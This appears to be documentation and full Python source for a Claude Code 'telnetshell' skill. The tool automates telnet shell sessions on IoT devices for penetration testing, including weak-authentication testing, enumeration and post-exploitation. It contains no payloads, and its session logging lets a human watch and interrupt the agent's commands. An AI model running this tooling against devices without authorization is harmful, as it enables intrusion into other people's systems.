tail -f /tmp/telnet_session.log
# Navigate between panes: Ctrl-b then arrow keys
# Detach from session: Ctrl-b then d
# Reattach to session: tmux attach -t iot_pentestUsing screen
# Create a new screen session
screen -S iot_pentest
# Create a split (Ctrl-a then S)
# Move to the new region (Ctrl-a then TAB)
# Create a new shell in that region (Ctrl-a then c)
# In the top pane: Run your commands
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--interactive
# In the bottom pane: Watch the log
tail -f /tmp/telnet_session.log
# Switch between panes: Ctrl-a then TAB
# Detach: Ctrl-a then d
# Reattach: screen -r iot_pentestUsing separate terminal windows
Simply open two terminal windows side-by-side:
Window 1:
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--interactiveWindow 2:
tail -f /tmp/telnet_session.logWhat You'll See in the Log
The session log captures ALL telnet traffic, including:
1. Connection establishment
============================================================
Session started: 2025-11-14T00:26:12.273582
Target: 192.168.1.100:2222
============================================================
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.2. Prompts
/ #3. Commands sent (with echo)
/ # ls /4. Command output (with ANSI color codes if present)
bin gm mnt sys
boot.sh init proc tmp
...5. New prompts (after command completes)
/ #6. Session termination
============================================================
Session ended: 2025-11-14T00:26:27.232032
============================================================Advanced Monitoring
Filter Specific Patterns
# Watch only commands (lines starting with common prompts)
tail -f /tmp/telnet_session.log | grep -E '^(/\s*#|[#\$])'
# Watch for errors
tail -f /tmp/telnet_session.log | grep -i error
# Watch for specific keywords
tail -f /tmp/telnet_session.log | grep -i passwordColorize Output
# Use ccze for colorized log viewing
tail -f /tmp/telnet_session.log | ccze -A
# Use colordiff (if available)
tail -f /tmp/telnet_session.log | colordiffSave Timestamped Sessions
# Create a timestamped logfile
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
LOGFILE="/tmp/telnet_${TIMESTAMP}.log"
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile "$LOGFILE" \
--interactive
# Watch it
tail -f "$LOGFILE"Multiple Sessions
If you're working with multiple devices simultaneously:
# Device 1
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--logfile /tmp/device1.log \
--interactive &
# Device 2
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.200 \
--logfile /tmp/device2.log \
--interactive &
# Watch both logs
tail -f /tmp/device1.log /tmp/device2.logLog Rotation
For long sessions, you may want to rotate logs:
# Watch with automatic rotation (creates numbered backup files)
tail -f /tmp/telnet_session.log > /tmp/session_archive_$(date +%Y%m%d_%H%M%S).log &
# Or use logrotate configuration
# /etc/logrotate.d/telnet-sessions:
/tmp/telnet_session.log {
size 10M
rotate 5
compress
missingok
notifempty
}Tips and Best Practices
1. Always monitor when testing in production: See exactly what's being executed 2. Keep logs for reporting: Session logs are excellent documentation 3. Use descriptive logfile names: Include device IP, date, and purpose 4. Review logs after sessions: Catch any issues or interesting findings 5. grep is your friend: Filter large logs for specific information
Troubleshooting Observation
Problem: tail -f shows nothing
- Check if the logfile exists:
ls -la /tmp/telnet_session.log - Check if the telnet session is actually running
- Verify the logfile path matches what you specified
Problem: Output is garbled in the log
- This is normal - ANSI color codes and control characters appear in logs
- Use
catorless -Rto view the log file properly - The telnet helper cleans this in its output, but raw logs contain everything
Problem: Log file grows too large
- Implement log rotation (see above)
- Clear the log periodically:
> /tmp/telnet_session.log - Use session-specific logfiles instead of one shared log
Example: Complete Monitoring Workflow
Here's a complete example of setting up and monitoring a telnet session:
# Step 1: Set up tmux with split panes
tmux new -s camera_pentest
# Press Ctrl-b then " to split horizontally
# Step 2 (top pane): Create a timestamped logfile and start interactive session
LOGFILE="/tmp/camera_$(date +%Y%m%d_%H%M%S).log"
echo "Logfile: $LOGFILE"
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile "$LOGFILE" \
--interactive
# Step 3 (bottom pane - Ctrl-b then down arrow): Watch the log
tail -f /tmp/telnet_session.log
# Step 4: Work in the top pane, observe in the bottom pane
# Step 5: When done, review the full log
less -R "$LOGFILE"
# Step 6: Archive for reporting
cp "$LOGFILE" ~/reports/camera_pentest_session.logIntegration with Claude Code
When Claude Code uses the telnetshell skill:
1. Claude will ALWAYS specify --logfile /tmp/telnet_session.log (or custom path) 2. You can monitor by running tail -f /tmp/telnet_session.log in another terminal 3. All commands executed by Claude will be logged 4. You can interrupt if you see any concerning commands 5. The complete session is saved for review
This transparency ensures you're always aware of what automation is doing on your behalf.
#!/usr/bin/env python3
"""
Telnet Helper for IoT Device Remote Shell Interaction
Provides clean command execution and output parsing for telnet-accessible devices.
"""
import pexpect
import time
import argparse
import sys
import re
import json
from typing import Optional, List, Tuple
from datetime import datetime
class TelnetHelper:
"""
Helper class for interacting with telnet shell devices.
Handles connection, command execution, prompt detection, and output cleaning.
"""
# Common prompt patterns for IoT devices
DEFAULT_PROMPT_PATTERNS = [
r'/\s*[#\$]\s*$', # / # or / $
r'^User@[^>]+>\s*$', # User@/root>
r'^root@[a-zA-Z0-9_-]+[#\$]\s*$', # root@device# or root@device$
r'^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+[:#\$]\s*$', # user@host: or #
r'^\s*>\s*$', # Generic >
r'^[#\$]\s*$', # Standalone # or $
r'BusyBox\s+v[0-9.]+', # BusyBox prompt
r'login:\s*$', # Login prompt
r'Password:\s*$', # Password prompt
]
def __init__(self, host: str, port: int = 23, timeout: float = 3.0,
prompt_pattern: Optional[str] = None, debug: bool = False,
logfile: Optional[str] = None):
"""
Initialize telnet helper.
Args:
host: Target host IP or hostname
port: Telnet port (default: 23)
timeout: Read timeout in seconds (default: 3.0)
prompt_pattern: Custom regex pattern for prompt detection
debug: Enable debug output
logfile: Optional file path to log all I/O
"""
self.host = host
self.port = port
self.timeout = timeout
self.debug = debug
self.conn = None
self.detected_prompt = None
self.logfile = None
self.logfile_handle = None
# Setup prompt patterns
if prompt_pattern:
self.prompt_patterns = [prompt_pattern]
else:
self.prompt_patterns = self.DEFAULT_PROMPT_PATTERNS
# Track command history
self.command_history = []
# Setup logfile path
self.logfile = logfile
# Open logfile if specified
if logfile:
try:
self.logfile_handle = open(logfile, 'a', buffering=1) # Line buffered
self._log(f"\n{'='*60}\n")
self._log(f"Session started: {datetime.now().isoformat()}\n")
self._log(f"Target: {host}:{port}\n")
self._log(f"{'='*60}\n")
except IOError as e:
print(f"Warning: Could not open logfile {logfile}: {e}", file=sys.stderr)
self.logfile_handle = None
def _debug_print(self, msg: str):
"""Print debug message if debug mode is enabled."""
if self.debug:
print(f"[DEBUG] {msg}", file=sys.stderr)
def _log(self, data: str):
"""Write data to logfile if enabled."""
if self.logfile_handle:
self.logfile_handle.write(data)
self.logfile_handle.flush()
def connect(self) -> bool:
"""
Establish telnet connection.
Returns:
True if connection successful, False otherwise
"""
try:
self._debug_print(f"Connecting to {self.host}:{self.port}...")
# Spawn telnet connection
cmd = f"telnet {self.host} {self.port}"
self.conn = pexpect.spawn(cmd, timeout=self.timeout, encoding='utf-8')
# Setup logfile if enabled
if self.logfile_handle:
self.conn.logfile_read = self.logfile_handle
# Give connection a moment to establish
time.sleep(0.5)
# Send newline to get initial prompt
self.conn.sendline("")
time.sleep(0.5)
# Try to detect prompt
try:
# Read any initial output
self.conn.expect(self.prompt_patterns, timeout=2.0)
initial_output = self.conn.before + self.conn.after
self._detect_prompt(initial_output)
except (pexpect.TIMEOUT, pexpect.EOF):
# If no prompt detected yet, that's okay
pass
self._debug_print(f"Connected successfully. Detected prompt: {self.detected_prompt}")
return True
except Exception as e:
print(f"Error connecting to {self.host}:{self.port}: {e}", file=sys.stderr)
return False
def disconnect(self):
"""Close telnet connection."""
if self.conn:
try:
self._debug_print("Disconnecting...")
self.conn.close()
except:
pass
self.conn = None
if self.logfile_handle:
self._log(f"\n{'='*60}\n")
self._log(f"Session ended: {datetime.now().isoformat()}\n")
self._log(f"{'='*60}\n\n")
self.logfile_handle.close()
self.logfile_handle = None
def _send_raw(self, data: str):
"""Send raw data to telnet connection."""
if self.conn:
self.conn.send(data)
def _detect_prompt(self, text: str):
"""
Detect prompt pattern in text.
Args:
text: Text to search for prompt
"""
lines = text.split('\n')
for line in reversed(lines):
line = line.strip()
if line:
for pattern in self.prompt_patterns:
if re.search(pattern, line):
self.detected_prompt = pattern
self._debug_print(f"Detected prompt pattern: {self.detected_prompt}")
return
def _clean_output(self, raw_output: str, command: str) -> str:
"""
Clean command output by removing echoes, prompts, and ANSI codes.
Args:
raw_output: Raw output from telnet
command: Command that was sent
Returns:
Cleaned output
"""
# Remove ANSI escape codes
ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])')
cleaned = ansi_escape.sub('', raw_output)
# Remove carriage returns
cleaned = cleaned.replace('\r', '')
# Split into lines
lines = cleaned.split('\n')
# Remove empty lines and prompts
result_lines = []
for line in lines:
line = line.rstrip()
# Skip empty lines
if not line.strip():
continue
# Skip lines that are just the command echo
if line.strip() == command.strip():
continue
# Skip lines that match prompt patterns
is_prompt = False
for pattern in self.prompt_patterns:
if re.search(pattern, line):
is_prompt = True
break
if is_prompt:
continue
result_lines.append(line)
return '\n'.join(result_lines)
def send_command(self, command: str, timeout: Optional[float] = None,
clean: bool = True) -> Tuple[str, bool]:
"""
Send command and wait for output.
Args:
command: Command to send
timeout: Optional custom timeout
clean: Whether to clean the output (remove echoes, prompts)
Returns:
Tuple of (output, success)
"""
if not self.conn:
return "", False
self._debug_print(f"Sending command: {command}")
timeout_val = timeout if timeout is not None else self.timeout
try:
# Send command
self.conn.sendline(command)
# Give command time to execute and output to accumulate
time.sleep(0.2)
# Wait for prompt
index = self.conn.expect(self.prompt_patterns + [pexpect.TIMEOUT, pexpect.EOF], timeout=timeout_val)
# Check if we got a prompt (not timeout or EOF)
prompt_found = index < len(self.prompt_patterns)
# Get the output (before is everything before the matched pattern)
raw_output = self.conn.before
if prompt_found:
# After is the matched prompt
raw_output += self.conn.after
self._debug_print(f"Raw output length: {len(raw_output)}")
# Track command
self.command_history.append({
'command': command,
'timestamp': datetime.now().isoformat(),
'success': prompt_found,
'raw_output': raw_output[:200] + '...' if len(raw_output) > 200 else raw_output
})
# Clean output if requested
if clean:
output = self._clean_output(raw_output, command)
else:
output = raw_output
self._debug_print(f"Command completed. Success: {prompt_found}, Output length: {len(output)}")
return output, prompt_found
except Exception as e:
self._debug_print(f"Error sending command: {e}")
return "", False
def send_commands(self, commands: List[str], delay: float = 0.5) -> List[dict]:
"""
Send multiple commands in sequence.
Args:
commands: List of commands to send
delay: Delay between commands in seconds
Returns:
List of dictionaries with command results
"""
results = []
for command in commands:
output, success = self.send_command(command)
results.append({
'command': command,
'output': output,
'success': success
})
if delay > 0:
time.sleep(delay)
return results
def interactive_mode(self):
"""
Enter interactive mode where user can type commands.
Type 'exit' or Ctrl-C to quit.
"""
print(f"Interactive mode - connected to {self.host}:{self.port}")
print("Type 'exit' or press Ctrl-C to quit")
print("-" * 50)
try:
while True:
try:
command = input(">>> ")
if command.strip().lower() in ('exit', 'quit'):
break
if not command.strip():
continue
output, success = self.send_command(command)
print(output)
if not success:
print("[WARNING] Command may have timed out or failed", file=sys.stderr)
except EOFError:
break
except KeyboardInterrupt:
print("\nExiting interactive mode...")
def main():
"""Main entry point for command-line usage."""
parser = argparse.ArgumentParser(
description='Telnet Helper for IoT Remote Shell Interaction',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Single command
%(prog)s --host 192.168.1.100 --command "uname -a"
# Custom port
%(prog)s --host 192.168.1.100 --port 2222 --command "ps"
# Interactive mode
%(prog)s --host 192.168.1.100 --port 2222 --interactive
# Batch commands from file
%(prog)s --host 192.168.1.100 --script enum_system.txt
# Custom timeout
%(prog)s --host 192.168.1.100 --timeout 5 --command "find /"
# Raw output (no cleaning)
%(prog)s --host 192.168.1.100 --command "help" --raw
# JSON output for scripting
%(prog)s --host 192.168.1.100 --command "ifconfig" --json
# Log all I/O to file (tail -f in another terminal to watch)
%(prog)s --host 192.168.1.100 --command "ls" --logfile session.log
"""
)
# Connection arguments
parser.add_argument('--host', '-H', required=True,
help='Target host IP or hostname')
parser.add_argument('--port', '-P', type=int, default=23,
help='Telnet port (default: 23)')
parser.add_argument('--timeout', '-t', type=float, default=3.0,
help='Read timeout in seconds (default: 3.0)')
parser.add_argument('--prompt', '-p', type=str,
help='Custom prompt regex pattern')
# Mode arguments (mutually exclusive)
mode_group = parser.add_mutually_exclusive_group(required=True)
mode_group.add_argument('--command', '-c', type=str,
help='Single command to execute')
mode_group.add_argument('--interactive', '-i', action='store_true',
help='Enter interactive mode')
mode_group.add_argument('--script', '-s', type=str,
help='File containing commands to execute (one per line)')
# Output arguments
parser.add_argument('--raw', '-r', action='store_true',
help='Output raw response (no cleaning)')
parser.add_argument('--json', '-j', action='store_true',
help='Output in JSON format')
parser.add_argument('--logfile', '-l', type=str, default='/tmp/telnet_session.log',
help='Log all I/O to file (default: /tmp/telnet_session.log)')
parser.add_argument('--debug', action='store_true',
help='Enable debug output')
args = parser.parse_args()
# Create telnet helper
helper = TelnetHelper(
host=args.host,
port=args.port,
timeout=args.timeout,
prompt_pattern=args.prompt,
debug=args.debug,
logfile=args.logfile
)
# Connect to device
if not helper.connect():
sys.exit(1)
try:
if args.interactive:
# Interactive mode
helper.interactive_mode()
elif args.command:
# Single command mode
output, success = helper.send_command(args.command, clean=not args.raw)
if args.json:
result = {
'command': args.command,
'output': output,
'success': success
}
print(json.dumps(result, indent=2))
else:
print(output)
sys.exit(0 if success else 1)
elif args.script:
# Batch script mode
try:
with open(args.script, 'r') as f:
commands = [line.strip() for line in f if line.strip() and not line.startswith('#')]
results = helper.send_commands(commands)
if args.json:
print(json.dumps(results, indent=2))
else:
for i, result in enumerate(results, 1):
print(f"\n{'='*50}")
print(f"Command {i}: {result['command']}")
print(f"{'='*50}")
print(result['output'])
if not result['success']:
print("[WARNING] Command may have failed", file=sys.stderr)
# Exit with error if any command failed
if not all(r['success'] for r in results):
sys.exit(1)
except FileNotFoundError:
print(f"Error: Script file '{args.script}' not found", file=sys.stderr)
sys.exit(1)
except IOError as e:
print(f"Error reading script file: {e}", file=sys.stderr)
sys.exit(1)
finally:
helper.disconnect()
if __name__ == '__main__':
main()
Related skills
FAQ
What does the telnetshell skill do?
It interacts with IoT device shells over telnet for pentesting, supporting unauthenticated shells, weak-authentication testing, device enumeration, and post-exploitation.
What are the prerequisites?
Python 3 with pexpect, a telnet client installed, and network access to the target device's telnet port.